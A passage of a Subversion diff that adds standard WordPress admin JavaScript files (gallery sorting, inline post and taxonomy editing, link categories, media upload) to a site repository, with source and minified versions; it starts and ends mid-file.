+jQuery(document).ready(function(c){var b,e,a,d=false;e=function(){b=c("#media-items").sortable({items:".media-item",placeholder:"sorthelper",axis:"y",distance:2,stop:function(i,h){var g=c("#media-items").sortable("toArray"),f=g.length;c.each(g,function(k,l){var j=d?(f-k):(1+k);c("#"+l+" .menu_order input").val(j)})}})};sortIt=function(){var g=c(".menu_order_input"),f=g.length;g.each(function(j){var h=d?(f-j):(1+j);c(this).val(h)})};clearAll=function(f){f=f||0;c(".menu_order_input").each(function(){if(this.value=="0"||f){this.value=""}})};c("#asc").click(function(){d=false;sortIt();return false});c("#desc").click(function(){d=true;sortIt();return false});c("#clear").click(function(){clearAll(1);return false});c("#showall").click(function(){c("#sort-buttons span a").toggle();c("a.describe-toggle-on").hide();c("a.describe-toggle-off, table.slidetoggle").show();return false});c("#hideall").click(function(){c("#sort-buttons span a").toggle();c("a.describe-toggle-on").show();c("a.describe-toggle-off, table.slidetoggle").hide();return false});e();clearAll();if(c("#media-items>*").length>1){a=wpgallery.getWin();c("#save-all, #gallery-settings").show();if(typeof a.tinyMCE!="undefined"&&a.tinyMCE.activeEditor&&!a.tinyMCE.activeEditor.isHidden()){wpgallery.mcemode=true;wpgallery.init()}else{c("#insert-gallery").show()}}});jQuery(window).unload(function(){tinymce=tinyMCE=wpgallery=null});var tinymce=null,tinyMCE,wpgallery;wpgallery={mcemode:false,editor:{},dom:{},is_update:false,el:{},I:function(a){return document.getElementById(a)},init:function(){var d=this,a,f,c,e,b=d.getWin();if(!d.mcemode){return}a=(""+document.location.search).replace(/^\?/,"").split("&");f={};for(c=0;c<a.length;c++){e=a[c].split("=");f[unescape(e[0])]=unescape(e[1])}if(f.mce_rdomain){document.domain=f.mce_rdomain}tinymce=b.tinymce;tinyMCE=b.tinyMCE;d.editor=tinymce.EditorManager.activeEditor;d.setup()},getWin:function(){return window.dialogArguments||opener||parent||top},restoreSelection:function(){var a=this;if(tinymce.isIE){a.editor.selection.moveToBookmark(a.editor.windowManager.bookmark)}},setup:function(){var f=this,c,d=f.editor,i,e,h,b,j;if(!f.mcemode){return}f.restoreSelection();f.el=d.selection.getNode();if(f.el.nodeName!="IMG"||!d.dom.hasClass(f.el,"wpGallery")){if((i=d.dom.select("img.wpGallery"))&&i[0]){f.el=i[0]}else{if(getUserSetting("galfile")=="1"){f.I("linkto-file").checked="checked"}if(getUserSetting("galdesc")=="1"){f.I("order-desc").checked="checked"}if(getUserSetting("galcols")){f.I("columns").value=getUserSetting("galcols")}if(getUserSetting("galord")){f.I("orderby").value=getUserSetting("galord")}jQuery("#insert-gallery").show();return}}c=d.dom.getAttrib(f.el,"title");c=d.dom.decode(c);if(c){jQuery("#update-gallery").show();f.is_update=true;e=c.match(/columns=['"]([0-9]+)['"]/);h=c.match(/link=['"]([^'"]+)['"]/i);b=c.match(/order=['"]([^'"]+)['"]/i);j=c.match(/orderby=['"]([^'"]+)['"]/i);if(h&&h[1]){f.I("linkto-file").checked="checked"}if(b&&b[1]){f.I("order-desc").checked="checked"}if(e&&e[1]){f.I("columns").value=""+e[1]}if(j&&j[1]){f.I("orderby").value=j[1]}}else{jQuery("#insert-gallery").show()}},update:function(){var b=this,a=b.editor,d="",c;if(!b.mcemode||!b.is_update){c="[gallery"+b.getSettings()+"]";b.getWin().send_to_editor(c);return}if(b.el.nodeName!="IMG"){return}d=a.dom.decode(a.dom.getAttrib(b.el,"title"));d=d.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi,"");d+=b.getSettings();a.dom.setAttrib(b.el,"title",d);b.getWin().tb_remove()},getSettings:function(){var a=this.I,b="";if(a("linkto-file").checked){b+=' link="file"';setUserSetting("galfile","1")}if(a("order-desc").checked){b+=' order="DESC"';setUserSetting("galdesc","1")}if(a("columns").value!=3){b+=' columns="'+a("columns").value+'"';setUserSetting("galcols",a("columns").value)}if(a("orderby").value!="menu_order"){b+=' orderby="'+a("orderby").value+'"';setUserSetting("galord",a("orderby").value)}return b}};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-post.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-post.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-post.dev.js	(revision 44)
@@ -0,0 +1,268 @@
+
+(function($) {
+inlineEditPost = {
+
+	init : function() {
+		var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit');
+
+		t.type = $('table.widefat').hasClass('page') ? 'page' : 'post';
+		t.what = '#'+t.type+'-';
+
+		// get all editable rows
+		t.rows = $('tr.iedit');
+
+		// prepare the edit rows
+		qeRow.keyup(function(e) { if(e.which == 27) return inlineEditPost.revert(); });
+		bulkRow.keyup(function(e) { if (e.which == 27) return inlineEditPost.revert(); });
+
+		$('a.cancel', qeRow).click(function() { return inlineEditPost.revert(); });
+		$('a.save', qeRow).click(function() { return inlineEditPost.save(this); });
+		$('td', qeRow).keydown(function(e) { if ( e.which == 13 ) return inlineEditPost.save(this); });
+
+		$('a.cancel', bulkRow).click(function() { return inlineEditPost.revert(); });
+
+		$('#inline-edit .inline-edit-private input[value=private]').click( function(){
+			var pw = $('input.inline-edit-password-input');
+			if ( $(this).attr('checked') ) {
+				pw.val('').attr('disabled', 'disabled');
+			} else {
+				pw.attr('disabled', '');
+			}
+		});
+
+		// add events
+		t.addEvents(t.rows);
+
+		$('#bulk-title-div').parents('fieldset').after(
+			$('#inline-edit fieldset.inline-edit-categories').clone()
+		).siblings( 'fieldset:last' ).prepend(
+			$('#inline-edit label.inline-edit-tags').clone()
+		);
+
+		// categories expandable?
+		$('span.catshow').click(function() {
+			$('.inline-editor ul.cat-checklist').addClass("cat-hover");
+			$('.inline-editor span.cathide').show();
+			$(this).hide();
+		});
+
+		$('span.cathide').click(function() {
+			$('.inline-editor ul.cat-checklist').removeClass("cat-hover");
+			$('.inline-editor span.catshow').show();
+			$(this).hide();
+		});
+
+		$('select[name="_status"] option[value="future"]', bulkRow).remove();
+
+		$('#doaction, #doaction2').click(function(e){
+			var n = $(this).attr('id').substr(2);
+			if ( $('select[name="'+n+'"]').val() == 'edit' ) {
+				e.preventDefault();
+				t.setBulk();
+			} else if ( $('form#posts-filter tr.inline-editor').length > 0 ) {
+				t.revert();
+			}
+		});
+
+		$('#post-query-submit').click(function(e){
+			if ( $('form#posts-filter tr.inline-editor').length > 0 )
+				t.revert();
+		});
+
+	},
+
+	toggle : function(el) {
+		var t = this;
+		$(t.what+t.getId(el)).css('display') == 'none' ? t.revert() : t.edit(el);
+	},
+
+	addEvents : function(r) {
+		r.each(function() {
+			var row = $(this);
+			$('a.editinline', row).click(function() { inlineEditPost.edit(this); return false; });
+		});
+	},
+
+	setBulk : function() {
+		var te = '', type = this.type, tax;
+		this.revert();
+
+		$('#bulk-edit td').attr('colspan', $('.widefat:first thead th:visible').length);
+		$('table.widefat tbody').prepend( $('#bulk-edit') );
+		$('#bulk-edit').addClass('inline-editor').show();
+
+		$('tbody th.check-column input[type="checkbox"]').each(function(i){
+			if ( $(this).attr('checked') ) {
+				var id = $(this).val(), theTitle;
+				theTitle = $('#inline_'+id+' .post_title').text() || inlineEditL10n.notitle;
+				te += '<div id="ttle'+id+'"><a id="_'+id+'" class="ntdelbutton" title="'+inlineEditL10n.ntdeltitle+'">X</a>'+theTitle+'</div>';
+			}
+		});
+
+		$('#bulk-titles').html(te);
+		$('#bulk-titles a').click(function() {
+			var id = $(this).attr('id').substr(1);
+
+			$('table.widefat input[value="'+id+'"]').attr('checked', '');
+			$('#ttle'+id).remove();
+		});
+
+		// enable autocomplete for tags
+		if ( type == 'post' ) {
+			// support multi taxonomies?
+			tax = 'post_tag';
+			$('tr.inline-editor textarea[name="tags_input"]').suggest( 'admin-ajax.php?action=ajax-tag-search&tax='+tax, { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } );
+		}
+	},
+
+	edit : function(id) {
+		var t = this, fields, editRow, rowData, cats, status, pageOpt, f, pageLevel, nextPage, pageLoop = true, nextLevel, tax;
+		t.revert();
+
+		if ( typeof(id) == 'object' )
+			id = t.getId(id);
+
+		fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password'];
+		if ( t.type == 'page' ) fields.push('post_parent', 'menu_order', 'page_template');
+		if ( t.type == 'post' ) fields.push('tags_input');
+
+		// add the new blank row
+		editRow = $('#inline-edit').clone(true);
+		$('td', editRow).attr('colspan', $('.widefat:first thead th:visible').length);
+
+		if ( $(t.what+id).hasClass('alternate') )
+			$(editRow).addClass('alternate');
+		$(t.what+id).hide().after(editRow);
+
+		// populate the data
+		rowData = $('#inline_'+id);
+		for ( f = 0; f < fields.length; f++ ) {
+			$(':input[name="'+fields[f]+'"]', editRow).val( $('.'+fields[f], rowData).text() );
+		}
+
+		if ( $('.comment_status', rowData).text() == 'open' )
+			$('input[name="comment_status"]', editRow).attr("checked", "checked");
+		if ( $('.ping_status', rowData).text() == 'open' )
+			$('input[name="ping_status"]', editRow).attr("checked", "checked");
+		if ( $('.sticky', rowData).text() == 'sticky' )
+			$('input[name="sticky"]', editRow).attr("checked", "checked");
+
+		// categories
+		if ( cats = $('.post_category', rowData).text() )
+			$('ul.cat-checklist :checkbox', editRow).val(cats.split(','));
+
+		// handle the post status
+		status = $('._status', rowData).text();
+		if ( status != 'future' ) $('select[name="_status"] option[value="future"]', editRow).remove();
+		if ( status == 'private' ) {
+			$('input[name="keep_private"]', editRow).attr("checked", "checked");
+			$('input.inline-edit-password-input').val('').attr('disabled', 'disabled');
+		}
+
+		// remove the current page and children from the parent dropdown
+		pageOpt = $('select[name="post_parent"] option[value="'+id+'"]', editRow);
+		if ( pageOpt.length > 0 ) {
+			pageLevel = pageOpt[0].className.split('-')[1];
+			nextPage = pageOpt;
+			while ( pageLoop ) {
+				nextPage = nextPage.next('option');
+				if (nextPage.length == 0) break;
+				nextLevel = nextPage[0].className.split('-')[1];
+				if ( nextLevel <= pageLevel ) {
+					pageLoop = false;
+				} else {
+					nextPage.remove();
+					nextPage = pageOpt;
+				}
+			}
+			pageOpt.remove();
+		}
+
+		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
+		$('.ptitle', editRow).focus();
+
+		// enable autocomplete for tags
+		if ( t.type == 'post' ) {
+			tax = 'post_tag';
+			$('tr.inline-editor textarea[name="tags_input"]').suggest( 'admin-ajax.php?action=ajax-tag-search&tax='+tax, { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } );
+		}
+
+		return false;
+	},
+
+	save : function(id) {
+		var params, fields;
+
+		if( typeof(id) == 'object' )
+			id = this.getId(id);
+
+		$('table.widefat .inline-edit-save .waiting').show();
+
+		params = {
+			action: 'inline-save',
+			post_type: this.type,
+			post_ID: id,
+			edit_date: 'true'
+		};
+
+		fields = $('#edit-'+id+' :input').fieldSerialize();
+		params = fields + '&' + $.param(params);
+
+		// make ajax request
+		$.post('admin-ajax.php', params,
+			function(r) {
+				$('table.widefat .inline-edit-save .waiting').hide();
+
+				if (r) {
+					if ( -1 != r.indexOf('<tr') ) {
+						$(inlineEditPost.what+id).remove();
+						$('#edit-'+id).before(r).remove();
+
+						var row = $(inlineEditPost.what+id);
+						row.hide();
+
+						if ( 'draft' == $('input[name="post_status"]').val() )
+							row.find('td.column-comments').hide();
+
+						inlineEditPost.addEvents(row);
+						row.fadeIn();
+					} else {
+						r = r.replace( /<.[^<>]*?>/g, '' );
+						$('#edit-'+id+' .inline-edit-save').append('<span class="error">'+r+'</span>');
+					}
+				} else {
+					$('#edit-'+id+' .inline-edit-save').append('<span class="error">'+inlineEditL10n.error+'</span>');
+				}
+			}
+		, 'html');
+		return false;
+	},
+
+	revert : function() {
+		var id;
+
+		if ( id = $('table.widefat tr.inline-editor').attr('id') ) {
+			$('table.widefat .inline-edit-save .waiting').hide();
+
+			if ( 'bulk-edit' == id ) {
+				$('table.widefat #bulk-edit').removeClass('inline-editor').hide();
+				$('#bulk-titles').html('');
+				$('#inlineedit').append( $('#bulk-edit') );
+			} else  {
+				$('#'+id).remove();
+				id = id.substr( id.lastIndexOf('-') + 1 );
+				$(this.what+id).show();
+			}
+		}
+
+		return false;
+	},
+
+	getId : function(o) {
+		var id = o.tagName == 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
+		return parts[parts.length - 1];
+	}
+};
+
+$(document).ready(function(){inlineEditPost.init();});
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-post.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-post.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-post.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){inlineEditPost={init:function(){var c=this,d=a("#inline-edit"),b=a("#bulk-edit");c.type=a("table.widefat").hasClass("page")?"page":"post";c.what="#"+c.type+"-";c.rows=a("tr.iedit");d.keyup(function(f){if(f.which==27){return inlineEditPost.revert()}});b.keyup(function(f){if(f.which==27){return inlineEditPost.revert()}});a("a.cancel",d).click(function(){return inlineEditPost.revert()});a("a.save",d).click(function(){return inlineEditPost.save(this)});a("td",d).keydown(function(f){if(f.which==13){return inlineEditPost.save(this)}});a("a.cancel",b).click(function(){return inlineEditPost.revert()});a("#inline-edit .inline-edit-private input[value=private]").click(function(){var e=a("input.inline-edit-password-input");if(a(this).attr("checked")){e.val("").attr("disabled","disabled")}else{e.attr("disabled","")}});c.addEvents(c.rows);a("#bulk-title-div").parents("fieldset").after(a("#inline-edit fieldset.inline-edit-categories").clone()).siblings("fieldset:last").prepend(a("#inline-edit label.inline-edit-tags").clone());a("span.catshow").click(function(){a(".inline-editor ul.cat-checklist").addClass("cat-hover");a(".inline-editor span.cathide").show();a(this).hide()});a("span.cathide").click(function(){a(".inline-editor ul.cat-checklist").removeClass("cat-hover");a(".inline-editor span.catshow").show();a(this).hide()});a('select[name="_status"] option[value="future"]',b).remove();a("#doaction, #doaction2").click(function(f){var g=a(this).attr("id").substr(2);if(a('select[name="'+g+'"]').val()=="edit"){f.preventDefault();c.setBulk()}else{if(a("form#posts-filter tr.inline-editor").length>0){c.revert()}}});a("#post-query-submit").click(function(f){if(a("form#posts-filter tr.inline-editor").length>0){c.revert()}})},toggle:function(c){var b=this;a(b.what+b.getId(c)).css("display")=="none"?b.revert():b.edit(c)},addEvents:function(b){b.each(function(){var c=a(this);a("a.editinline",c).click(function(){inlineEditPost.edit(this);return false})})},setBulk:function(){var d="",c=this.type,b;this.revert();a("#bulk-edit td").attr("colspan",a(".widefat:first thead th:visible").length);a("table.widefat tbody").prepend(a("#bulk-edit"));a("#bulk-edit").addClass("inline-editor").show();a('tbody th.check-column input[type="checkbox"]').each(function(f){if(a(this).attr("checked")){var g=a(this).val(),e;e=a("#inline_"+g+" .post_title").text()||inlineEditL10n.notitle;d+='<div id="ttle'+g+'"><a id="_'+g+'" class="ntdelbutton" title="'+inlineEditL10n.ntdeltitle+'">X</a>'+e+"</div>"}});a("#bulk-titles").html(d);a("#bulk-titles a").click(function(){var e=a(this).attr("id").substr(1);a('table.widefat input[value="'+e+'"]').attr("checked","");a("#ttle"+e).remove()});if(c=="post"){b="post_tag";a('tr.inline-editor textarea[name="tags_input"]').suggest("admin-ajax.php?action=ajax-tag-search&tax="+b,{delay:500,minchars:2,multiple:true,multipleSep:", "})}},edit:function(b){var o=this,j,d,g,n,i,h,k,m,l,c=true,p,e;o.revert();if(typeof(b)=="object"){b=o.getId(b)}j=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password"];if(o.type=="page"){j.push("post_parent","menu_order","page_template")}if(o.type=="post"){j.push("tags_input")}d=a("#inline-edit").clone(true);a("td",d).attr("colspan",a(".widefat:first thead th:visible").length);if(a(o.what+b).hasClass("alternate")){a(d).addClass("alternate")}a(o.what+b).hide().after(d);g=a("#inline_"+b);for(k=0;k<j.length;k++){a(':input[name="'+j[k]+'"]',d).val(a("."+j[k],g).text())}if(a(".comment_status",g).text()=="open"){a('input[name="comment_status"]',d).attr("checked","checked")}if(a(".ping_status",g).text()=="open"){a('input[name="ping_status"]',d).attr("checked","checked")}if(a(".sticky",g).text()=="sticky"){a('input[name="sticky"]',d).attr("checked","checked")}if(n=a(".post_category",g).text()){a("ul.cat-checklist :checkbox",d).val(n.split(","))}i=a("._status",g).text();if(i!="future"){a('select[name="_status"] option[value="future"]',d).remove()}if(i=="private"){a('input[name="keep_private"]',d).attr("checked","checked");a("input.inline-edit-password-input").val("").attr("disabled","disabled")}h=a('select[name="post_parent"] option[value="'+b+'"]',d);if(h.length>0){m=h[0].className.split("-")[1];l=h;while(c){l=l.next("option");if(l.length==0){break}p=l[0].className.split("-")[1];if(p<=m){c=false}else{l.remove();l=h}}h.remove()}a(d).attr("id","edit-"+b).addClass("inline-editor").show();a(".ptitle",d).focus();if(o.type=="post"){e="post_tag";a('tr.inline-editor textarea[name="tags_input"]').suggest("admin-ajax.php?action=ajax-tag-search&tax="+e,{delay:500,minchars:2,multiple:true,multipleSep:", "})}return false},save:function(d){var c,b;if(typeof(d)=="object"){d=this.getId(d)}a("table.widefat .inline-edit-save .waiting").show();c={action:"inline-save",post_type:this.type,post_ID:d,edit_date:"true"};b=a("#edit-"+d+" :input").fieldSerialize();c=b+"&"+a.param(c);a.post("admin-ajax.php",c,function(e){a("table.widefat .inline-edit-save .waiting").hide();if(e){if(-1!=e.indexOf("<tr")){a(inlineEditPost.what+d).remove();a("#edit-"+d).before(e).remove();var f=a(inlineEditPost.what+d);f.hide();if("draft"==a('input[name="post_status"]').val()){f.find("td.column-comments").hide()}inlineEditPost.addEvents(f);f.fadeIn()}else{e=e.replace(/<.[^<>]*?>/g,"");a("#edit-"+d+" .inline-edit-save").append('<span class="error">'+e+"</span>")}}else{a("#edit-"+d+" .inline-edit-save").append('<span class="error">'+inlineEditL10n.error+"</span>")}},"html");return false},revert:function(){var b;if(b=a("table.widefat tr.inline-editor").attr("id")){a("table.widefat .inline-edit-save .waiting").hide();if("bulk-edit"==b){a("table.widefat #bulk-edit").removeClass("inline-editor").hide();a("#bulk-titles").html("");a("#inlineedit").append(a("#bulk-edit"))}else{a("#"+b).remove();b=b.substr(b.lastIndexOf("-")+1);a(this.what+b).show()}}return false},getId:function(c){var d=c.tagName=="TR"?c.id:a(c).parents("tr").attr("id"),b=d.split("-");return b[b.length-1]}};a(document).ready(function(){inlineEditPost.init()})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-tax.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-tax.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-tax.dev.js	(revision 44)
@@ -0,0 +1,129 @@
+
+(function($) {
+inlineEditTax = {
+
+	init : function() {
+		var t = this, row = $('#inline-edit');
+
+		t.type = $('#the-list').attr('className').substr(5);
+		t.what = '#'+t.type+'-';
+
+		// get all editable rows
+		t.rows = $('tr.iedit');
+
+		// prepare the edit row
+		row.keyup(function(e) { if(e.which == 27) return inlineEditTax.revert(); });
+
+		$('a.cancel', row).click(function() { return inlineEditTax.revert(); });
+		$('a.save', row).click(function() { return inlineEditTax.save(this); });
+		$('input, select', row).keydown(function(e) { if(e.which == 13) return inlineEditTax.save(this); });
+
+		// add events
+		t.addEvents(t.rows);
+
+		$('#posts-filter input[type="submit"]').click(function(e){
+			if ( $('form#posts-filter tr.inline-editor').length > 0 )
+				t.revert();
+		});
+	},
+
+	toggle : function(el) {
+		var t = this;
+		$(t.what+t.getId(el)).css('display') == 'none' ? t.revert() : t.edit(el);
+	},
+
+	addEvents : function(r) {
+		r.each(function() {
+			$(this).find('a.editinline').click(function() { inlineEditTax.edit(this); return false; });
+		});
+	},
+
+	edit : function(id) {
+		var t = this, editRow;
+		t.revert();
+
+		if ( typeof(id) == 'object' )
+			id = t.getId(id);
+
+		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
+		$('td', editRow).attr('colspan', $('.widefat:first thead th:visible').length);
+
+		if ( $(t.what+id).hasClass('alternate') )
+			$(editRow).addClass('alternate');
+
+		$(t.what+id).hide().after(editRow);
+
+		$(':input[name="name"]', editRow).val( $('.name', rowData).text() );
+		$(':input[name="slug"]', editRow).val( $('.slug', rowData).text() );
+
+		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
+		$('.ptitle', editRow).eq(0).focus();
+
+		return false;
+	},
+
+	save : function(id) {
+		var params, fields, tax = $('input[name="taxonomy"]').val() || '';
+
+		if( typeof(id) == 'object' )
+			id = this.getId(id);
+
+		$('table.widefat .inline-edit-save .waiting').show();
+
+		params = {
+			action: 'inline-save-tax',
+			tax_type: this.type,
+			tax_ID: id,
+			taxonomy: tax
+		};
+
+		fields = $('#edit-'+id+' :input').fieldSerialize();
+		params = fields + '&' + $.param(params);
+
+		// make ajax request
+		$.post('admin-ajax.php', params,
+			function(r) {
+				var row, new_id;
+				$('table.widefat .inline-edit-save .waiting').hide();
+
+				if (r) {
+					if ( -1 != r.indexOf('<tr') ) {
+						$(inlineEditTax.what+id).remove();
+						new_id = $(r).attr('id');
+
+						$('#edit-'+id).before(r).remove();
+						row = new_id ? $('#'+new_id) : $(inlineEditTax.what+id);
+						row.hide();
+
+						inlineEditTax.addEvents(row);
+						row.fadeIn();
+					} else
+						$('#edit-'+id+' .inline-edit-save .error').html(r).show();
+				} else
+					$('#edit-'+id+' .inline-edit-save .error').html(inlineEditL10n.error).show();
+			}
+		);
+		return false;
+	},
+
+	revert : function() {
+		var id = $('table.widefat tr.inline-editor').attr('id');
+
+		if ( id ) {
+			$('table.widefat .inline-edit-save .waiting').hide();
+			$('#'+id).remove();
+			id = id.substr( id.lastIndexOf('-') + 1 );
+			$(this.what+id).show();
+		}
+
+		return false;
+	},
+
+	getId : function(o) {
+		var id = o.tagName == 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
+		return parts[parts.length - 1];
+	}
+};
+
+$(document).ready(function(){inlineEditTax.init();});
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-tax.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-tax.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/inline-edit-tax.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){inlineEditTax={init:function(){var b=this,c=a("#inline-edit");b.type=a("#the-list").attr("className").substr(5);b.what="#"+b.type+"-";b.rows=a("tr.iedit");c.keyup(function(d){if(d.which==27){return inlineEditTax.revert()}});a("a.cancel",c).click(function(){return inlineEditTax.revert()});a("a.save",c).click(function(){return inlineEditTax.save(this)});a("input, select",c).keydown(function(d){if(d.which==13){return inlineEditTax.save(this)}});b.addEvents(b.rows);a('#posts-filter input[type="submit"]').click(function(d){if(a("form#posts-filter tr.inline-editor").length>0){b.revert()}})},toggle:function(c){var b=this;a(b.what+b.getId(c)).css("display")=="none"?b.revert():b.edit(c)},addEvents:function(b){b.each(function(){a(this).find("a.editinline").click(function(){inlineEditTax.edit(this);return false})})},edit:function(d){var c=this,b;c.revert();if(typeof(d)=="object"){d=c.getId(d)}b=a("#inline-edit").clone(true),rowData=a("#inline_"+d);a("td",b).attr("colspan",a(".widefat:first thead th:visible").length);if(a(c.what+d).hasClass("alternate")){a(b).addClass("alternate")}a(c.what+d).hide().after(b);a(':input[name="name"]',b).val(a(".name",rowData).text());a(':input[name="slug"]',b).val(a(".slug",rowData).text());a(b).attr("id","edit-"+d).addClass("inline-editor").show();a(".ptitle",b).eq(0).focus();return false},save:function(e){var d,b,c=a('input[name="taxonomy"]').val()||"";if(typeof(e)=="object"){e=this.getId(e)}a("table.widefat .inline-edit-save .waiting").show();d={action:"inline-save-tax",tax_type:this.type,tax_ID:e,taxonomy:c};b=a("#edit-"+e+" :input").fieldSerialize();d=b+"&"+a.param(d);a.post("admin-ajax.php",d,function(g){var h,f;a("table.widefat .inline-edit-save .waiting").hide();if(g){if(-1!=g.indexOf("<tr")){a(inlineEditTax.what+e).remove();f=a(g).attr("id");a("#edit-"+e).before(g).remove();h=f?a("#"+f):a(inlineEditTax.what+e);h.hide();inlineEditTax.addEvents(h);h.fadeIn()}else{a("#edit-"+e+" .inline-edit-save .error").html(g).show()}}else{a("#edit-"+e+" .inline-edit-save .error").html(inlineEditL10n.error).show()}});return false},revert:function(){var b=a("table.widefat tr.inline-editor").attr("id");if(b){a("table.widefat .inline-edit-save .waiting").hide();a("#"+b).remove();b=b.substr(b.lastIndexOf("-")+1);a(this.what+b).show()}return false},getId:function(c){var d=c.tagName=="TR"?c.id:a(c).parents("tr").attr("id"),b=d.split("-");return b[b.length-1]}};a(document).ready(function(){inlineEditTax.init()})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/link.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/link.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/link.dev.js	(revision 44)
@@ -0,0 +1,66 @@
+jQuery(document).ready( function($) {
+
+	var newCat, noSyncChecks = false, syncChecks, catAddAfter;
+
+	$('#link_name').focus();
+	// postboxes
+	postboxes.add_postbox_toggles('link');
+
+	// category tabs
+	$('#category-tabs a').click(function(){
+		var t = $(this).attr('href');
+		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
+		$('.tabs-panel').hide();
+		$(t).show();
+		if ( '#categories-all' == t )
+			deleteUserSetting('cats');
+		else
+			setUserSetting('cats','pop');
+		return false;
+	});
+	if ( getUserSetting('cats') )
+		$('#category-tabs a[href="#categories-pop"]').click();
+
+	// Ajax Cat
+	newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ) } );
+	$('#category-add-submit').click( function() { newCat.focus(); } );
+	syncChecks = function() {
+		if ( noSyncChecks )
+			return;
+		noSyncChecks = true;
+		var th = $(this), c = th.is(':checked'), id = th.val().toString();
+		$('#in-link-category-' + id + ', #in-popular-category-' + id).attr( 'checked', c );
+		noSyncChecks = false;
+	};
+
+	catAddAfter = function( r, s ) {
+		$(s.what + ' response_data', r).each( function() {
+			var t = $($(this).text());
+			t.find( 'label' ).each( function() {
+				var th = $(this), val = th.find('input').val(), id = th.find('input')[0].id, name = $.trim( th.text() ), o;
+				$('#' + id).change( syncChecks );
+				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
+			} );
+		} );
+	};
+
+	$('#categorychecklist').wpList( {
+		alt: '',
+		what: 'link-category',
+		response: 'category-ajax-response',
+		addAfter: catAddAfter
+	} );
+
+	$('a[href="#categories-all"]').click(function(){deleteUserSetting('cats');});
+	$('a[href="#categories-pop"]').click(function(){setUserSetting('cats','pop');});
+	if ( 'pop' == getUserSetting('cats') )
+		$('a[href="#categories-pop"]').click();
+
+	$('#category-add-toggle').click( function() {
+		$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
+		$('#category-tabs a[href="#categories-all"]').click();
+		return false;
+	} );
+
+	$('.categorychecklist :checkbox').change( syncChecks ).filter( ':checked' ).change();
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/link.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/link.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/link.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(c){var b,a=false,d,e;c("#link_name").focus();postboxes.add_postbox_toggles("link");c("#category-tabs a").click(function(){var f=c(this).attr("href");c(this).parent().addClass("tabs").siblings("li").removeClass("tabs");c(".tabs-panel").hide();c(f).show();if("#categories-all"==f){deleteUserSetting("cats")}else{setUserSetting("cats","pop")}return false});if(getUserSetting("cats")){c('#category-tabs a[href="#categories-pop"]').click()}b=c("#newcat").one("focus",function(){c(this).val("").removeClass("form-input-tip")});c("#category-add-submit").click(function(){b.focus()});d=function(){if(a){return}a=true;var f=c(this),h=f.is(":checked"),g=f.val().toString();c("#in-link-category-"+g+", #in-popular-category-"+g).attr("checked",h);a=false};e=function(g,f){c(f.what+" response_data",g).each(function(){var h=c(c(this).text());h.find("label").each(function(){var j=c(this),l=j.find("input").val(),m=j.find("input")[0].id,i=c.trim(j.text()),k;c("#"+m).change(d);k=c('<option value="'+parseInt(l,10)+'"></option>').text(i)})})};c("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:e});c('a[href="#categories-all"]').click(function(){deleteUserSetting("cats")});c('a[href="#categories-pop"]').click(function(){setUserSetting("cats","pop")});if("pop"==getUserSetting("cats")){c('a[href="#categories-pop"]').click()}c("#category-add-toggle").click(function(){c(this).parents("div:first").toggleClass("wp-hidden-children");c('#category-tabs a[href="#categories-all"]').click();return false});c(".categorychecklist :checkbox").change(d).filter(":checked").change()});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/media-upload.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/media-upload.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/media-upload.dev.js	(revision 44)
@@ -0,0 +1,63 @@
+// send html to the post editor
+function send_to_editor(h) {
+	var ed;
+
+	if ( typeof tinyMCE != 'undefined' && ( ed = tinyMCE.activeEditor ) && !ed.isHidden() ) {
+		ed.focus();
+		if (tinymce.isIE)
+			ed.selection.moveToBookmark(tinymce.EditorManager.activeEditor.windowManager.bookmark);
+
+		if ( h.indexOf('[caption') === 0 ) {
+			if ( ed.plugins.wpeditimage )
+				h = ed.plugins.wpeditimage._do_shcode(h);
+		} else if ( h.indexOf('[gallery') === 0 ) {
+			if ( ed.plugins.wpgallery )
